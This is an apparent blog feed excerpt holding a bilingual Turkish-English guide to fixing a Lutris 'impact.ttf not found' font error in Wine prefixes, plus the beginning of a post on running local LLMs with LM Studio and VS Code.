class="s2">"/mnt/steam_depo/BaBaGames/ea-app/dosdevices/c:/windows/Fonts/"</span> </code></pre></div> <div class="admonition note"> <p class="admonition-title">Note: Don't forget to replace the <code>BaBaGames</code> folder path with your own Lutris installation directory. Typically, this path is under <code>~/Games/...</code> or on an external drive you specified.</p> </div> <p>Now, let's copy that stubborn font file from the trash bin to its proper place and break Lutris's stubbornness:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>cp<span class="w"> </span><span class="s2">"/mnt/steam_depo/.Trash-1000/files/ea-app/drive_c/windows/Fonts/impact.ttf"</span><span class="w"> </span><span class="s2">"/mnt/steam_depo/BaBaGames/ea-app/dosdevices/c:/windows/Fonts/"</span> </code></pre></div> <p>Restart Lutris and try running the game again. Your issue should be solved!</p> <hr/> <h3 id="method-2-friday13-special-prefix-resetting-trick">Method 2: Friday13 Special "Prefix Resetting" Trick ⚡<a class="headerlink" href="#method-2-friday13-special-prefix-resetting-trick" title="Permanent link">#</a></h3> <p>If the manual copy method above didn't work, or if the installation script completely locked up due to the inability to override libraries, let me share a legendary trick that I personally applied on my live stream with definitive results.</p> <div class="admonition warning"> <p class="admonition-title">Warning! This process resets the settings under the prefix, but does not harm your installed game files. To better understand how the Wineprefix architecture works, you can check out my guide on <a href="/en/wineprefix-nedir-nasil-kullanilir/">What is Wineprefix and How to Use It?</a>. Still, it's always wise to have a backup, brother.</p> </div> <p>The logic is simple: we will break the complex library override loop that Lutris got stuck in. But while doing this, we will preserve the precious <code>Fonts</code> folder we found or created.</p> <ol> <li>Go to the Wine prefix folder (<code>.../dosdevices/</code>) where the game/launcher is installed.</li> <li>Delete <strong>everything except the <code>Fonts</code> folder</strong> (all files and other subfolders) under the <code>c:/windows/</code> directory.</li> <li>Make sure our problematic <code>impact.ttf</code> file is sitting safely inside this preserved <code>Fonts</code> folder.</li> <li>Open Lutris and restart the installation script.</li> </ol> <p>Lutris will start building the prefix from scratch. When it comes to that problematic font, it will see that <code>impact.ttf</code> is already lying quietly inside the folder. It will bypass the download and verification steps smoothly, and finish the setup as easy as pie without throwing any library conflict errors!</p> <hr/> <h2 id="alternative-methods-if-the-stubbornness-persists_1">🎮 Alternative Methods (If the Stubbornness Persists)<a class="headerlink" href="#alternative-methods-if-the-stubbornness-persists" title="Permanent link">#</a></h2> <p>If font errors are still flying around on your system, there are quicker ways to introduce fonts to the Wine environment all at once.</p> <h3 id="a-bulk-font-installation-with-protontricks">A. Bulk Font Installation with Protontricks<a class="headerlink" href="#a-bulk-font-installation-with-protontricks" title="Permanent link">#</a></h3> <p>We can harness the power of the terminal and inject basic Microsoft fonts into the prefix with a single command via <code>protontricks</code>:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>protontricks<span class="w"> </span>&lt;prefix-name&gt;<span class="w"> </span><span class="nv">fontsmooth</span><span class="o">=</span>rgb<span class="w"> </span>corefonts </code></pre></div> <p>If that doesn't cut it, this command comes to the rescue to install the entire font library brutally:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>protontricks<span class="w"> </span>&lt;prefix-name&gt;<span class="w"> </span>allfonts </code></pre></div> <h3 id="b-library-control-via-winecfg">B. Library Control via Winecfg<a class="headerlink" href="#b-library-control-via-winecfg" title="Permanent link">#</a></h3> <p>Right-click your game in the Lutris interface, go to <strong>Configure</strong>, and from the <strong>Runner options</strong> tab, click <strong>Wine configuration</strong>. Open the <strong>Libraries</strong> tab here to manually check the status of the <code>impact</code> library and add it if necessary.</p> <hr/> <h2 id="practical-solution-on-live-stream_1">📺 Practical Solution on Live Stream<a class="headerlink" href="#practical-solution-on-live-stream" title="Permanent link">#</a></h2> <p>You can also check out my live stream recording where I personally resolved this issue using the prefix-resetting method and explained every step in detail. The relevant part starts exactly at <strong>30:58</strong>:</p> <script src="https://cdn.jsdelivr.net/npm/@justinribeiro/lite-youtube@1/lite-youtube.min.js" type="module"></script> <p><lite-youtube videoid="R-VTXW-xV20" videostartat="1858"></lite-youtube></p> <p>At the end of the day, we won this battle against the terminal once again, my friends. If you have any questions or if your <code>find</code> command comes up empty, drop a comment below and we'll solve it together.</p> <p>Stay safe, and I am finally off to leave myself in the arms of a well-deserved sleep!</p> <hr/> <h2 id="related-posts">🔗 Related Posts<a class="headerlink" href="#related-posts" title="Permanent link">#</a></h2> <ul> <li><a href="/en/linux-oyunlara-turkce-yama-kurulumu/">How to Install Turkish Patches for Linux Games</a></li> <li><a href="/en/wineprefix-nedir-nasil-kullanilir/">What is Wineprefix and How to Use It?</a></li> <li><a href="/en/arch-linux-steam-ses-hatasi-cozumu/">Arch Linux Steam Audio Error Fix</a></li> <li><a href="/en/davinci-resolve-20-1-linux-hatasi-cozumu/">Davinci Resolve 20.1 Linux Error Fix</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Lutris has strict security rules that prevent overwriting already installed packages during runner configuration. This situation can lock up the entire installation even for a single missing font.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-17T16:50:00+03:002026-05-17T16:50:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-17:/lutris-installed-file-impact-ttf-not-found-cozumu/

<p>Lutris'te EA App, Origin veya Plutonium launcher kurarken karşılaşılan "installed file .../Fonts/impact.ttf not found" hatasının can sıkan harf duyarlılığı nedenini ve prefix sıfırlama taktiğini anlatıyorum.</p>

<p>Linux'ta oyun oynamak bazen kelimenin tam anlam&inodot;yla bir dedektiflik hikayesine d&ouml;n&uuml;&scedil;&uuml;yor karda&scedil;. D&uuml;n yine o me&scedil;hur sabahlardan biriydi; kahve buz gibi olmu&scedil;, g&ouml;zler uykusuzluktan kan &ccedil;ana&gbreve;&inodot;... S&inodot;rf EA App, Origin veya Plutonium Launcher tabanl&inodot; bir oyunu (&ouml;zellikle Battlefield tayfas&inodot; iyi bilir) Lutris &uuml;zerinden kurup iki el atay&inodot;m dedim. Kurulum t&inodot;k&inodot;r t&inodot;k&inodot;r ilerledi, "tamamland&inodot;" dedi. Ama tam oyunu ba&scedil;latacakken terminalden o k&inodot;rm&inodot;z&inodot; tokat indi: <code>Initial process has exited (return code: 256)</code>.</p> <p>Loglar&inodot; bir a&ccedil;t&inodot;m ki ne g&ouml;reyim: <code>warning: install completed, but installed file .../Fonts/impact.ttf not found</code>. </p> <p>Yahu arkada&scedil;, alt&inodot; &uuml;st&uuml; basit bir yaz&inodot; tipi! Bir font dosyas&inodot; eksik diye koca kurulum scriptini yar&inodot;da kesip s&uuml;reci baltalamak hangi akla hizmettir? &Uuml;stelik i&scedil;in arkas&inodot;nda Linux'un o me&scedil;hur b&uuml;y&uuml;k-k&uuml;&ccedil;&uuml;k harf duyarl&inodot;l&inodot;&gbreve;&inodot; (case-sensitivity) belas&inodot; yat&inodot;yor. Hadi gelin, bu inat&ccedil;&inodot; hatay&inodot; kendi sistemimde nas&inodot;l &ccedil;&ouml;zd&uuml;ysem ad&inodot;m ad&inodot;m birlikte halledelim.</p> <hr/> <h2 id="lutris-bu-hataya-neden-taklp-kalyor">🧐 Lutris Bu Hataya Neden Tak&inodot;l&inodot;p Kal&inodot;yor?<a class="headerlink" href="#lutris-bu-hataya-neden-taklp-kalyor" title="Permanent link">#</a></h2> <p>&Idot;&scedil;in arka plan&inodot; asl&inodot;nda tam bir komedi. Kurulum scripti arka planda bu yaz&inodot; tipini indirirken dosyay&inodot; <code>Impact.ttf</code> (b&uuml;y&uuml;k harfle) olarak kaydediyor. Ancak Lutris ve Proton prefix'i, Windows taklidi yaparken inatla <code>impact.ttf</code> (k&uuml;&ccedil;&uuml;k harfle) dosyas&inodot;n&inodot; ar&inodot;yor. Windows d&uuml;nyas&inodot;nda (NTFS) dosya sistemleri b&uuml;y&uuml;k-k&uuml;&ccedil;&uuml;k harfe duyarl&inodot; olmad&inodot;&gbreve;&inodot; i&ccedil;in bu durum hi&ccedil;bir sorun yaratmazken; bizim can dostumuz ext4 veya btrfs dosya sistemlerinde <code>Impact</code> ve <code>impact</code> tamamen iki farkl&inodot; d&uuml;nya demek!</p> <p>Lutris dosyay&inodot; bulamay&inodot;nca pani&gbreve;e kap&inodot;l&inodot;p s&uuml;reci sonland&inodot;r&inodot;yor. "E tamam, ben bu dosyan&inodot;n ad&inodot;n&inodot; de&gbreve;i&scedil;tireyim ya da ba&scedil;tan kuray&inodot;m" dedi&gbreve;inizde ise ikinci bir duvara &ccedil;arp&inodot;yorsunuz: Lutris, &ouml;nceki ad&inodot;mda kurdu&gbreve;u k&uuml;t&uuml;phaneleri yeniden yazmaya (override etmeye) yana&scedil;m&inodot;yor; <em>"Zaten y&uuml;kl&uuml;"</em> deyip hata veriyor. <sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> Tam bir &ccedil;&inodot;kmaz sokak de&gbreve;il mi? Ama &ccedil;&ouml;z&uuml;m&uuml; var, hem de iki farkl&inodot; yoldan.</p> <hr/> <h2 id="cozum-metotlar">🛠️ &Ccedil;&ouml;z&uuml;m Metotlar&inodot;<a class="headerlink" href="#cozum-metotlar" title="Permanent link">#</a></h2> <h3 id="1-yol-cop-kutusu-dedektifligi-manuel-bulma-ve-kopyalama">1. Yol: &Ccedil;&ouml;p Kutusu Dedektifli&gbreve;i (Manuel Bulma ve Kopyalama)<a class="headerlink" href="#1-yol-cop-kutusu-dedektifligi-manuel-bulma-ve-kopyalama" title="Permanent link">#</a></h3> <p>&Ccedil;o&gbreve;u zaman kurulum scripti o fontu indirdikten sonra ge&ccedil;ici klas&ouml;rleri temizlerken dosyay&inodot; silip &ccedil;&ouml;pe at&inodot;yor. Yani arad&inodot;&gbreve;&inodot;m&inodot;z o kay&inodot;p <code>impact.ttf</code> asl&inodot;nda &ccedil;ok uzaklarda de&gbreve;il, muhtemelen sistemimizin &ccedil;&ouml;p kutusunda usulca bekliyor. </p> <p>&Ouml;ncelikle terminalimizi a&ccedil;&inodot;p o ka&ccedil;a&gbreve;&inodot; k&ouml;&scedil;e bucak arayal&inodot;m:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>find<span class="w"> </span>/<span class="w"> </span>-iname<span class="w"> </span><span class="s2">"impact.ttf"</span><span class="w"> </span><span class="m">2</span>&gt;/dev/null </code></pre></div> <p>E&gbreve;er &scedil;ansl&inodot;ysan&inodot;z, terminal size &scedil;&ouml;yle bir &ccedil;&inodot;kt&inodot; verecektir:</p> <div class="highlight"><pre><span></span><code>/mnt/steam_depo/.Trash-1000/files/ea-app/drive_c/windows/Fonts/impact.ttf </code></pre></div> <p>Harika! Ka&ccedil;a&gbreve;&inodot;n yerini tespit ettik. &Scedil;imdi Lutris prefix'imizin i&ccedil;erisindeki yaz&inodot; tipi klas&ouml;r&uuml;n&uuml;n varl&inodot;&gbreve;&inodot;ndan emin olal&inodot;m:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>mkdir<span class="w"> </span>-p<span class="w"> </span><span class="s2">"/mnt/steam_depo/BaBaGames/ea-app/dosdevices/c:/windows/Fonts/"</span> </code></pre></div> <div class="admonition note"> <p class="admonition-title">Not: BaBaGames klas&ouml;r yolunu kendi Lutris kurulum dizininize g&ouml;re de&gbreve;i&scedil;tirmeyi unutmay&inodot;n. Genelde bu yol <code>~/Games/...</code> veya harici diskinizde belirtti&gbreve;iniz bir dizin alt&inodot;ndad&inodot;r.</p> </div> <p>&Scedil;imdi &ccedil;&ouml;p kutusundaki o inat&ccedil;&inodot; font dosyas&inodot;n&inodot; olmas&inodot; gereken yere kopyalayarak Lutris'in inad&inodot;n&inodot; k&inodot;ral&inodot;m:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>cp<span class="w"> </span><span class="s2">"/mnt/steam_depo/.Trash-1000/files/ea-app/drive_c/windows/Fonts/impact.ttf"</span><span class="w"> </span><span class="s2">"/mnt/steam_depo/BaBaGames/ea-app/dosdevices/c:/windows/Fonts/"</span> </code></pre></div> <p>Lutris'i kapat&inodot;p a&ccedil;t&inodot;ktan sonra oyunu yeniden ba&scedil;latmay&inodot; deneyin. Sorununuz &ccedil;&ouml;z&uuml;lm&uuml;&scedil; olmal&inodot;!</p> <hr/> <h3 id="2-yol-friday13-ozel-prefix-sfrlama-taktigi">2. Yol: Friday13 &Ouml;zel "Prefix S&inodot;f&inodot;rlama" Takti&gbreve;i ⚡<a class="headerlink" href="#2-yol-friday13-ozel-prefix-sfrlama-taktigi" title="Permanent link">#</a></h3> <p>E&gbreve;er yukar&inodot;daki manuel kopyalama i&scedil;e yaramad&inodot;ysa veya k&uuml;t&uuml;phanelerin override edilememesi y&uuml;z&uuml;nden kurulum scripti tamamen kilitlendiyse, size kendi canl&inodot; yay&inodot;n&inodot;mda da uygulay&inodot;p kesin sonu&ccedil; ald&inodot;&gbreve;&inodot;m o efsane y&ouml;ntemi anlatay&inodot;m. </p> <div class="admonition warning"> <p class="admonition-title">Dikkat! Bu i&scedil;lem prefix alt&inodot;ndaki ayarlar&inodot; s&inodot;f&inodot;rlar, ancak kurulu oyun dosyalar&inodot;n&inodot;za zarar vermez. Wineprefix yap&inodot;s&inodot;n&inodot;n &ccedil;al&inodot;&scedil;ma mant&inodot;&gbreve;&inodot;n&inodot; daha iyi anlamak i&ccedil;in <a href="/wineprefix-nedir-nasil-kullanilir/">Wineprefix Nedir ve Nas&inodot;l Kullan&inodot;l&inodot;r?</a> rehberime g&ouml;z atabilirsiniz. Yine de her ihtimale kar&scedil;&inodot; yedekli gitmekte fayda var hac&inodot;.</p> </div> <p>Mant&inodot;k &scedil;u: Lutris'in yar&inodot;m b&inodot;rakt&inodot;&gbreve;&inodot; o karma&scedil;&inodot;k k&uuml;t&uuml;phane override d&ouml;ng&uuml;s&uuml;n&uuml; k&inodot;raca&gbreve;&inodot;z. Ama bunu yaparken buldu&gbreve;umuz veya indirdi&gbreve;imiz o de&gbreve;erli <code>Fonts</code> klas&ouml;r&uuml;n&uuml; koruyaca&gbreve;&inodot;z.</p> <ol> <li>Oyunun/Launcher'&inodot;n kurulu oldu&gbreve;u Wine prefix klas&ouml;r&uuml;ne (<code>.../dosdevices/</code>) gidin.</li> <li>Buradaki <code>c:/windows/</code> dizini alt&inodot;ndaki <strong><code>Fonts</code> klas&ouml;r&uuml; hari&ccedil; her &scedil;eyi</strong> (t&uuml;m dosyalar&inodot; ve di&gbreve;er alt klas&ouml;rleri) tamamen silin.</li> <li>Bizim o sorunlu <code>impact.ttf</code> dosyas&inodot;n&inodot;n bu korudu&gbreve;umuz <code>Fonts</code> klas&ouml;r&uuml;n&uuml;n i&ccedil;inde durdu&gbreve;undan emin olun.</li> <li>Lutris'i a&ccedil;&inodot;p kurulum scriptini ba&scedil;tan ba&scedil;lat&inodot;n.</li> </ol> <p>Lutris prefix'i s&inodot;f&inodot;rdan yeniden olu&scedil;turmaya ba&scedil;layacak. S&inodot;ra o sorunlu yaz&inodot; tipine geldi&gbreve;inde, klas&ouml;r&uuml;n i&ccedil;inde <code>impact.ttf</code> dosyas&inodot;n&inodot;n halihaz&inodot;rda usulca yatt&inodot;&gbreve;&inodot;n&inodot; g&ouml;recek. &Idot;ndirme ve do&gbreve;rulama ad&inodot;m&inodot;n&inodot; sorunsuz bir &scedil;ekilde atlay&inodot;p, k&uuml;t&uuml;phane &ccedil;ak&inodot;&scedil;mas&inodot; hatas&inodot; vermeden kurulumu tereya&gbreve;&inodot;ndan k&inodot;l &ccedil;eker gibi tamamlayacak!</p> <hr/> <h2 id="alternatif-yontemler-eger-inat-devam-ederse_1">🎮 Alternatif Y&ouml;ntemler (E&gbreve;er &Idot;nat Devam Ederse)<a class="headerlink" href="#alternatif-yontemler-eger-inat-devam-ederse" title="Permanent link">#</a></h2> <p>E&gbreve;er sisteminizde hala font hatalar&inodot; havada u&ccedil;u&scedil;uyorsa, Wine ortam&inodot;na fontlar&inodot; topluca tan&inodot;tman&inodot;n daha kestirme yollar&inodot; da mevcut.</p> <h3 id="a-protontricks-ile-toplu-font-kurulumu">A. Protontricks ile Toplu Font Kurulumu<a class="headerlink" href="#a-protontricks-ile-toplu-font-kurulumu" title="Permanent link">#</a></h3> <p>Terminalin g&uuml;c&uuml;n&uuml; arkam&inodot;za al&inodot;p <code>protontricks</code> vas&inodot;tas&inodot;yla temel Microsoft yaz&inodot; tiplerini tek komutla prefix i&ccedil;ine g&ouml;mebiliriz:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>protontricks<span class="w"> </span>&lt;prefix-adi&gt;<span class="w"> </span><span class="nv">fontsmooth</span><span class="o">=</span>rgb<span class="w"> </span>corefonts </code></pre></div> <p>E&gbreve;er bu da kesmezse, t&uuml;m font k&uuml;t&uuml;phanesini bodoslama y&uuml;klemek i&ccedil;in &scedil;u komut imdad&inodot;m&inodot;za yeti&scedil;ir:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>protontricks<span class="w"> </span>&lt;prefix-adi&gt;<span class="w"> </span>allfonts </code></pre></div> <h3 id="b-winecfg-uzerinden-kutuphane-kontrolu">B. Winecfg &Uuml;zerinden K&uuml;t&uuml;phane Kontrol&uuml;<a class="headerlink" href="#b-winecfg-uzerinden-kutuphane-kontrolu" title="Permanent link">#</a></h3> <p>Lutris aray&uuml;z&uuml;nden oyununuza sa&gbreve; t&inodot;klay&inodot;p <strong>Configure</strong> dedikten sonra <strong>Runner options</strong> sekmesinden <strong>Wine configuration</strong> ayar&inodot;na gidin. Burada <strong>Libraries</strong> sekmesini a&ccedil;arak <code>impact</code> k&uuml;t&uuml;phanesinin durumunu manuel olarak kontrol edebilir ve gerekirse ekleme yapabilirsiniz.</p> <hr/> <h2 id="canl-yayndaki-uygulamal-cozum_1">📺 Canl&inodot; Yay&inodot;ndaki Uygulamal&inodot; &Ccedil;&ouml;z&uuml;m<a class="headerlink" href="#canl-yayndaki-uygulamal-cozum" title="Permanent link">#</a></h2> <p>Bu sorunu ve prefix s&inodot;f&inodot;rlayarak kurtulma y&ouml;ntemini bizzat uygulad&inodot;&gbreve;&inodot;m, her ad&inodot;m&inodot;n&inodot; detayl&inodot;ca anlatt&inodot;&gbreve;&inodot;m canl&inodot; yay&inodot;n kayd&inodot;na da g&ouml;z atabilirsiniz. &Idot;lgili k&inodot;s&inodot;m tam olarak <strong>30:58</strong> dakikas&inodot;ndan itibaren ba&scedil;l&inodot;yor:</p> <script src="https://cdn.jsdelivr.net/npm/@justinribeiro/lite-youtube@1/lite-youtube.min.js" type="module"></script> <p><lite-youtube videoid="R-VTXW-xV20" videostartat="1858"></lite-youtube></p> <p>G&uuml;n&uuml;n sonunda terminalle verdi&gbreve;imiz bu sava&scedil;&inodot; yine biz kazand&inodot;k karda&scedil;. E&gbreve;er senin de kafana tak&inodot;lan bir yer olursa veya <code>find</code> komutu bo&scedil; d&ouml;nerse hemen a&scedil;a&gbreve;&inodot;ya yorum b&inodot;rak, beraber &ccedil;&ouml;zeriz. </p> <p>Hadi kal&inodot;n sa&gbreve;l&inodot;cakla, ben art&inodot;k hak edilmi&scedil; bir uykunun kollar&inodot;na kendimi b&inodot;rak&inodot;yorum!</p> <hr/> <h2 id="ilgili-yazlar">🔗 &Idot;lgili Yaz&inodot;lar<a class="headerlink" href="#ilgili-yazlar" title="Permanent link">#</a></h2> <ul> <li><a href="/linux-oyunlara-turkce-yama-kurulumu/">Linux Oyunlara T&uuml;rk&ccedil;e Yama Kurulumu</a></li> <li><a href="/wineprefix-nedir-nasil-kullanilir/">Wineprefix Nedir ve Nas&inodot;l Kullan&inodot;l&inodot;r?</a></li> <li><a href="/arch-linux-steam-ses-hatasi-cozumu/">Arch Linux Steam Ses Hatas&inodot; &Ccedil;&ouml;z&uuml;m&uuml;</a></li> <li><a href="/davinci-resolve-20-1-linux-hatasi-cozumu/">Davinci Resolve 20.1 Linux Hatas&inodot; &Ccedil;&ouml;z&uuml;m&uuml;</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Lutris, runner yap&inodot;land&inodot;rmas&inodot; s&inodot;ras&inodot;nda kurulu paketlerin &uuml;zerine yaz&inodot;lmas&inodot;n&inodot; engelleyen kat&inodot; g&uuml;venlik kurallar&inodot;na sahiptir. Bu durum bir font eksikli&gbreve;inde dahi t&uuml;m kurulumu kilitleyebilir.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-14T22:50:00+03:002026-05-14T22:50:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-14:/en/yerel-ai-kurulum-rehberi-lm-studio-vs-code/

<p>Tired of shelling out money in dollars to ChatGPT and Claude every month? We are setting up an AI ecosystem on your own hardware that runs completely privately and for free. (Masterclass Guide)</p>

<p>Let's be honest; AI subscription prices have now gone off the rails. Paying 20-30 dollars every month to ChatGPT, Claude, or for API fees is literally a headache, especially for our people struggling with the exchange rate, my friend. 🤯 Moreover, what is being done with your data on those distant servers is a complete mystery.</p> <p>Recently, I dove down a rabbit hole, saying, "Why don't I do this in my own kitchen?" The result: an AI assistant running completely privately on my computer, requiring no internet, and most importantly, <strong>free of charge</strong>. Not just chat, either; with autocomplete inside VS Code and a full-fledged agent mode.</p> <p>Today I will tell you the details of this work in a "Masterclass" flavor. Regardless of what your hardware is, once you grasp the logic of this work, you can run a smooth AI on any system. If you prefer to set up your own server and work through the terminal instead of using desktop apps, you can also check out my more detailed guide, <a href="/en/yerel-llm-kurulum-rehberi-2026/">Self-Hosted LLMs in 2026</a>.</p> <h2 id="section-1-how-does-local-ai-work-the-vram-matter">🧠 Section 1: How Does Local AI Work? (The VRAM Matter)<a class="headerlink" href="#section-1-how-does-local-ai-work-the-vram-matter" title="Permanent link">#</a></h2> <p>There are two main elements that determine the performance of a model: <strong>number of parameters</strong> (brain size) and <strong>Context Size</strong> (memory capacity). You cannot run an 862-billion-parameter beast on a home computer, but you can work wonders with properly configured models.</p> <p>The secret lies in the amount of <strong>VRAM</strong> on your graphics card (GPU). If you are unsure which card to choose, you can check my guide on the <a href="/en/yerel-llmler-icin-en-iyi-gpu-2026/">Best GPUs for Local LLMs (2026)</a>. ⚡</p> <div class="admonition tip"> <p class="admonition-title">Tip: VRAM vs. System RAM</p> <p>When you run the model, all parameters crowd into your graphics card's VRAM. If you have 16 GB VRAM and the model requires 17 GB, the remaining 1 GB overflows into regular system RAM. <sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup> When this overflow occurs, your speed drops from 120 km/h to a snail's pace (20-30 tokens/sec). So the main rule: Fit the model into the VRAM!</p> </div> <p>If you are using a Mac (M1/M2/M3), your job is easier because Apple uses "Unified Memory" (unified memory). This means that direct AI can use a large portion of the 32 GB RAM in the system "like VRAM".</p> <h2 id="section-2-first-step-with-lm-studio">🛠️ Section 2: First Step with LM Studio<a class="headerlink" href="#section-2-first-step-with-lm-studio" title="Permanent link">#</a></h2> <p>I recommend <strong>LM Studio</strong> for the fastest and cleanest start. The user interface is so successful that it clearly shows you how much space which model will occupy on your system (GPU offload).</p> <ol> <li><strong>Download LM Studio:</strong> <a href="https://lmstudio.ai/" rel="noopener noreferrer" target="_blank">LM Studio Official Site</a></li> <li><strong>Search for Models:</strong> Type <code>Qwen</code> or <code>Llama</code> in the search section. If you are unsure which model to choose, check out my <a href="/en/en-iyi-yerel-llm-modelleri-2026/">Best Local LLM Models (2026)</a> guide for the latest comparisons.</li> <li><strong>Choose Quantization (Compression):</strong> This is the crucial point. Do not download models in their "raw" state (FP16). Choose compressed versions like <strong>Q4</strong> or <strong>Q6</strong>. <sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></li> </ol> <div class="admonition note"> <p class="admonition-title">Note: What is Quantization?</p> <p>It is the process of shrinking a large model's size by half with very little compromise on its performance. Q4 (4-bit) is usually the "sweet spot"; it remains smart and fits into a moderate graphics card.</p> </div> <h2 id="section-3-vs-code-integration-continue-extension">💻 Section 3: VS Code Integration (Continue Extension)<a class="headerlink" href="#section-3-vs-code-integration-continue-extension" title="Permanent link">#</a></h2> <p>Chatting is nice, but the real productivity comes with that AI being at your fingertips when you are writing code. We use the <strong>Continue</strong> extension in VS Code for this.</p> <ul> <li><strong>For Autocomplete:</strong> Choose very small models (for example, the 1.5B parameter Qwen-Coder). Because the autocomplete process needs to be instantaneous.</li> <li><strong>For Agent/Chat:</strong> You can use larger models (9B or 14B).</li> </ul> <h3 id="configuration-configjson">Configuration (config.json)<a class="headerlink" href="#configuration-configjson" title="Permanent link">#</a></h3> <p>In Continue settings, it is enough to select <code>lm-studio</code> as <code>provider</code> and enter the local server address (<code>http://localhost:1234/v1</code>) provided by LM Studio. Now you are using your own "GitHub Copilot" alternative inside VS Code for free. 😎</p> <h2 id="local-vs-cloud-which-one-is-smarter_1">📊 Local vs. Cloud: Which One Is Smarter?<a class="headerlink" href="#local-vs-cloud-which-one-is-smarter" title="Permanent link">#</a></h2> <p>Many people ask, "Are local models as smart as Claude?" In the <strong>Sudoku Application</strong> test I did myself, I saw the following: - <strong>Claude Sonnet 3.5:</strong> Wrote the application in 9 minutes with zero errors. - <strong>Local Qwen 2.5 (32B):</strong> Gave a similar quality output in about 9-10 minutes.</p> <p>Is there a speed difference? Yes, cloud models respond faster on huge server farms, but local AI has already passed the "good enough" level for debugging and general coding tasks.</p> <h2 id="to-wrap-up">🏁 To Wrap Up<a class="headerlink" href="#to-wrap-up" title="Permanent link">#</a></h2> <p>You can cancel your monthly subscriptions, save that money, and buy yourself a solid graphics card (for example, an RTX 4060 Ti or 4070 with 16GB VRAM) in 2-3 months. This card opens the door to <strong>free and unlimited</strong> AI use for life.</p> <p>Keep your data on your computer and the money in your wallet. There is no better time than today to launch your own local AI masterclass, my friend.</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>For more technical details on the subject, you can check the model cards on <a href="https://huggingface.co/" rel="noopener noreferrer" target="_blank">HuggingFace</a>.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>For "out of memory" errors you encounter while setting up local AI, try closing other programs using your GPU (browser, etc.) on your system.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-14T22:50:00+03:002026-05-14T22:50:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-14:/yerel-ai-kurulum-rehberi-lm-studio-vs-code/

<p>ChatGPT ve Claude'a her ay dolarla para bayılmaktan bıktınız mı? Kendi donanımınızda, tamamen gizli ve bedava çalışan bir AI ekosistemi kuruyoruz. (Masterclass Rehber)</p>

<p>Hadi d&uuml;r&uuml;st olal&inodot;m; AI abonelik fiyatlar&inodot; art&inodot;k &scedil;irazesinden &ccedil;&inodot;kt&inodot;. Her ay 20-30 dolar&inodot; ChatGPT'ye, Claude'a veya API &uuml;cretlerine bay&inodot;lmak, &ouml;zellikle bizim gibi kur fark&inodot;yla bo&gbreve;u&scedil;an memleket insan&inodot; i&ccedil;in resmen bir ba&scedil; a&gbreve;r&inodot;s&inodot; dostum. 🤯 &Uuml;stelik verilerinizin o uzak sunucularda ne yap&inodot;ld&inodot;&gbreve;&inodot; da tam bir muamma.</p> <p>Ge&ccedil;enlerde "Ben neden bu i&scedil;i kendi mutfa&gbreve;&inodot;mda yapm&inodot;yorum?" diyerek bir tav&scedil;an deli&gbreve;ine dald&inodot;m. Sonu&ccedil;: Bilgisayar&inodot;mda tamamen gizli, internete ihtiya&ccedil; duymayan ve en &ouml;nemlisi <strong>bedava</strong> &ccedil;al&inodot;&scedil;an bir AI asistan&inodot;. Sadece chat de de&gbreve;il; VS Code i&ccedil;inde otomatik tamamlama (autocomplete) ve tam te&scedil;ekk&uuml;ll&uuml; ajan moduyla birlikte.</p> <p>Bug&uuml;n size bu i&scedil;in "Masterclass" k&inodot;vam&inodot;nda detaylar&inodot;n&inodot; anlataca&gbreve;&inodot;m. Donan&inodot;m&inodot;n&inodot;z ne olursa olsun, bu i&scedil;in mant&inodot;&gbreve;&inodot;n&inodot; kavrad&inodot;&gbreve;&inodot;n&inodot;zda her sistemde ak&inodot;c&inodot; bir AI &ccedil;al&inodot;&scedil;t&inodot;rabilirsiniz. E&gbreve;er sadece masa&uuml;st&uuml; uygulamalar&inodot;yla s&inodot;n&inodot;rl&inodot; kalmay&inodot;p kendi sunucunuzu kurmak ve terminalden ilerlemek isterseniz, <a href="/yerel-llm-kurulum-rehberi-2026/">Kendi Sunucunda Yapay Zeka (2026)</a> ba&scedil;l&inodot;kl&inodot; detayl&inodot; rehberime de g&ouml;z atabilirsiniz.</p> <h2 id="bolum-1-yerel-ai-nasl-calsr-vram-meselesi">🧠 B&ouml;l&uuml;m 1: Yerel AI Nas&inodot;l &Ccedil;al&inodot;&scedil;&inodot;r? (VRAM Meselesi)<a class="headerlink" href="#bolum-1-yerel-ai-nasl-calsr-vram-meselesi" title="Permanent link">#</a></h2> <p>Bir modelin performans&inodot;n&inodot; belirleyen iki ana unsur vard&inodot;r: <strong>Parametre say&inodot;s&inodot;</strong> (beyin b&uuml;y&uuml;kl&uuml;&gbreve;&uuml;) ve <strong>Context Size</strong> (haf&inodot;za kapasitesi). 862 milyar parametrelik bir canavar&inodot; evdeki bilgisayarda ko&scedil;turamazs&inodot;n&inodot;z, ama donan&inodot;m&inodot;n&inodot;za uygun &scedil;ekilde 